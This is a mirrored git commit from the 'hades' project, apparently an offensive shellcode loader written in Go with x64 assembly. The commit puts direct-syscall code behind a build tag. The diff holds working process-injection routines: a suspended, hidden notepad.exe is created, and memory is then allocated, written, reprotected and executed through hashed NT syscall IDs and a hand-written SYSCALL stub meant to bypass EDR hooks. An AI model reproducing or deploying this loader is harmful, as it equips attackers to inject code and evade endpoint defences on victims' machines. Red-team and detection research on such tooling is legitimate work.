mirror of https://github.com/f1zm0/hades
feat!: include direct syscall logic only with build constraint
This commit is contained in:
parent
5bbe077a66
commit
0ec7c214a9
|
@ -1,3 +0,0 @@
|
|||
package loader
|
||||
|
||||
func directSyscall(callid uint16, argh ...uintptr) (errcode uint32)
|
|
@ -1,3 +1,5 @@
|
|||
//go:build !direct_syscalls
|
||||
|
||||
package loader
|
||||
|
||||
import (
|
||||
|
@ -106,33 +108,3 @@ func (l *Loader) NtQueueApcThread(hThread, baseAddr uintptr) (uintptr, error) {
|
|||
|
||||
return nullptr, nil
|
||||
}
|
||||
|
||||
func (l *Loader) createSuspendedProcess() (*windows.ProcessInformation, error) {
|
||||
var (
|
||||
pi windows.ProcessInformation
|
||||
si windows.StartupInfo
|
||||
)
|
||||
|
||||
pCmdStr, err := windows.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe") // bad
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// might swap out for NtCreateUserProcess and syscall when I get the time
|
||||
// to figure out how to setup all the required structs
|
||||
if err = windows.CreateProcess(
|
||||
nil,
|
||||
pCmdStr,
|
||||
nil,
|
||||
nil,
|
||||
false,
|
||||
windows.CREATE_SUSPENDED|windows.CREATE_NO_WINDOW,
|
||||
nil,
|
||||
nil,
|
||||
&si,
|
||||
&pi,
|
||||
); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &pi, nil
|
||||
}
|
|
@ -0,0 +1,35 @@
|
|||
package loader
|
||||
|
||||
import (
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
func (l *Loader) createSuspendedProcess() (*windows.ProcessInformation, error) {
|
||||
var (
|
||||
pi windows.ProcessInformation
|
||||
si windows.StartupInfo
|
||||
)
|
||||
|
||||
pCmdStr, err := windows.UTF16PtrFromString("C:\\Windows\\System32\\notepad.exe") // bad
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// might swap out for NtCreateUserProcess and syscall when I get the time
|
||||
// to figure out how to setup all the required structs
|
||||
if err = windows.CreateProcess(
|
||||
nil,
|
||||
pCmdStr,
|
||||
nil,
|
||||
nil,
|
||||
false,
|
||||
windows.CREATE_SUSPENDED|windows.CREATE_NO_WINDOW,
|
||||
nil,
|
||||
nil,
|
||||
&si,
|
||||
&pi,
|
||||
); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &pi, nil
|
||||
}
|
|
@ -0,0 +1,121 @@
|
|||
//go:build direct_syscalls
|
||||
|
||||
package loader
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"github.com/f1zm0/hades/pkg/syscalls"
|
||||
|
||||
"github.com/f1zm0/acheron"
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
var NT_SUCCESS = acheron.NT_SUCCESS
|
||||
|
||||
func (l *Loader) NtAllocateVirtualMemory(
|
||||
hProc, baseAddr uintptr,
|
||||
memSize int,
|
||||
allocType, protectAttr uintptr,
|
||||
) (uintptr, error) {
|
||||
sc, _ := l.callProxy.GetSyscall(15141956341870172521)
|
||||
if st := syscalls.DirectSyscall(
|
||||
sc.SSN,
|
||||
hProc, // ProcessHandle
|
||||
ptr2ptr(&baseAddr), // BaseAddress
|
||||
nullptr, // ZeroBits
|
||||
ptr2ptr(&memSize), // RegionSize
|
||||
allocType, // AllocationType
|
||||
protectAttr, // Protect
|
||||
); !NT_SUCCESS(st) {
|
||||
return nullptr, fmt.Errorf("NtAllocateVirtualMemory failed: 0x%x", st)
|
||||
}
|
||||
|
||||
return baseAddr, nil
|
||||
}
|
||||
|
||||
func (l *Loader) NtWriteVirtualMemory(
|
||||
hProc, baseAddr uintptr,
|
||||
buf []byte,
|
||||
numBytesToWrite int,
|
||||
) (uintptr, error) {
|
||||
numOfBytesWritten := 0
|
||||
sc, _ := l.callProxy.GetSyscall(11082677680923502116)
|
||||
if st := syscalls.DirectSyscall(
|
||||
sc.SSN,
|
||||
hProc, // ProcessHandle
|
||||
baseAddr, // BaseAddress
|
||||
ptr2ptr(&buf[0]), // Buffer
|
||||
ptr(numBytesToWrite), // NumberOfBytesToWrite
|
||||
ptr2ptr(&numOfBytesWritten), // NumberOfBytesWritten
|
||||
); !NT_SUCCESS(st) {
|
||||
return nullptr, fmt.Errorf("NtWriteVirtualMemory failed: 0x%x", st)
|
||||
}
|
||||
if numOfBytesWritten != numBytesToWrite {
|
||||
return nullptr, errors.New(
|
||||
"number of bytes written is not equal to number of bytes to write",
|
||||
)
|
||||
}
|
||||
|
||||
return nullptr, nil
|
||||
}
|
||||
|
||||
func (l *Loader) NtProtectVirtualMemory(
|
||||
hProc, baseAddr uintptr,
|
||||
memSize int,
|
||||
newProtect uintptr,
|
||||
oldProtect uintptr,
|
||||
) (uintptr, error) {
|
||||
sc, _ := l.callProxy.GetSyscall(8024050266839726481)
|
||||
if st := syscalls.DirectSyscall(
|
||||
sc.SSN,
|
||||
hProc, // ProcessHandle
|
||||
ptr2ptr(&baseAddr), // BaseAddress
|
||||
ptr2ptr(&memSize), // RegionSize
|
||||
newProtect, // NewProtect
|
||||
ptr2ptr(&oldProtect), // OldProtect
|
||||
); !NT_SUCCESS(st) {
|
||||
return nullptr, fmt.Errorf("NtProtectVirtualMemory failed: 0x%x", st)
|
||||
}
|
||||
|
||||
return oldProtect, nil
|
||||
}
|
||||
|
||||
func (l *Loader) NtCreateThreadEx(hThread, hProc, baseAddr uintptr) (uintptr, error) {
|
||||
sc, _ := l.callProxy.GetSyscall(12013194309262373545)
|
||||
if st := syscalls.DirectSyscall(
|
||||
sc.SSN,
|
||||
ptr2ptr(&hThread), // ThreadHandle
|
||||
windows.GENERIC_EXECUTE, // DesiredAccess
|
||||
nullptr, // ObjectAttributes
|
||||
hProc, // ProcessHandle
|
||||
baseAddr, // StartRoutine
|
||||
nullptr, // Argument
|
||||
0, // CreateFlags
|
||||
0, // ZeroBits
|
||||
0, // StackSize
|
||||
0, // MaxStackSize
|
||||
nullptr, // AttributeList
|
||||
); !NT_SUCCESS(st) {
|
||||
return nullptr, fmt.Errorf("NtCreateThreadEx failed: 0x%x", st)
|
||||
}
|
||||
|
||||
return hThread, nil
|
||||
}
|
||||
|
||||
func (l *Loader) NtQueueApcThread(hThread, baseAddr uintptr) (uintptr, error) {
|
||||
sc, _ := l.callProxy.GetSyscall(14616308599774217599)
|
||||
if st := syscalls.DirectSyscall(
|
||||
sc.SSN,
|
||||
hThread, // ThreadHandle
|
||||
baseAddr, // ApcRoutine
|
||||
nullptr, // ApcRoutineContext (optional)
|
||||
nullptr, // ApcStatusBlock (optional)
|
||||
nullptr, // ApcReserved (optional)
|
||||
); !NT_SUCCESS(st) {
|
||||
return nullptr, fmt.Errorf("NtQueueApcThread failed: 0x%x", st)
|
||||
}
|
||||
|
||||
return nullptr, nil
|
||||
}
|
|
@ -1,14 +1,17 @@
|
|||
#define maxargs 16
|
||||
TEXT ·execSyscall(SB), $0-56
|
||||
XORQ AX,AX
|
||||
//go:build direct_syscalls
|
||||
|
||||
MOVW callid+0(FP), AX
|
||||
#define maxargs 16
|
||||
|
||||
// func execDirectSyscall(callID uint16, argh ...uintptr) (errcode uint32)
|
||||
TEXT ·execDirectSyscall(SB), $0-56
|
||||
XORQ AX, AX
|
||||
MOVW ssn+0(FP), AX
|
||||
PUSHQ CX
|
||||
|
||||
//put variadic pointer into SI
|
||||
MOVQ argh_base+8(FP),SI
|
||||
|
||||
//put variadic size into CX
|
||||
PUSHQ CX
|
||||
MOVQ argh_len+16(FP),CX
|
||||
|
||||
// SetLastError(0).
|
||||
|
@ -28,9 +31,12 @@ TEXT ·execSyscall(SB), $0-56
|
|||
// Copy args to the stack.
|
||||
MOVQ SP, DI
|
||||
CLD
|
||||
REP
|
||||
REP; MOVSQ
|
||||
MOVQ SP, SI
|
||||
|
||||
//move the stack pointer????? why????
|
||||
SUBQ $8, SP
|
||||
|
||||
loadregs:
|
||||
// Load first 4 args into correspondent registers.
|
||||
MOVQ 0(SI), CX
|
||||
|
@ -48,10 +54,12 @@ loadregs:
|
|||
MOVQ R9, X3
|
||||
|
||||
MOVQ CX, R10
|
||||
|
||||
// direct syscall
|
||||
SYSCALL
|
||||
|
||||
ADDQ $((maxargs+1)*8), SP
|
||||
|
||||
// Return result.
|
||||
POPQ CX
|
||||
MOVL AX, errcode+32(FP)
|
||||
RET
|
|
@ -0,0 +1,9 @@
|
|||
//go:build direct_syscalls
|
||||
|
||||
package syscalls
|
||||
|
||||
func execDirectSyscall(ssn uint16, argh ...uintptr) (errcode uint32)
|
||||
|
||||
func DirectSyscall(ssn uint16, argh ...uintptr) uint32 {
|
||||
return execDirectSyscall(ssn, argh...)
|
||||
}
|
Loading…
Reference in New Issue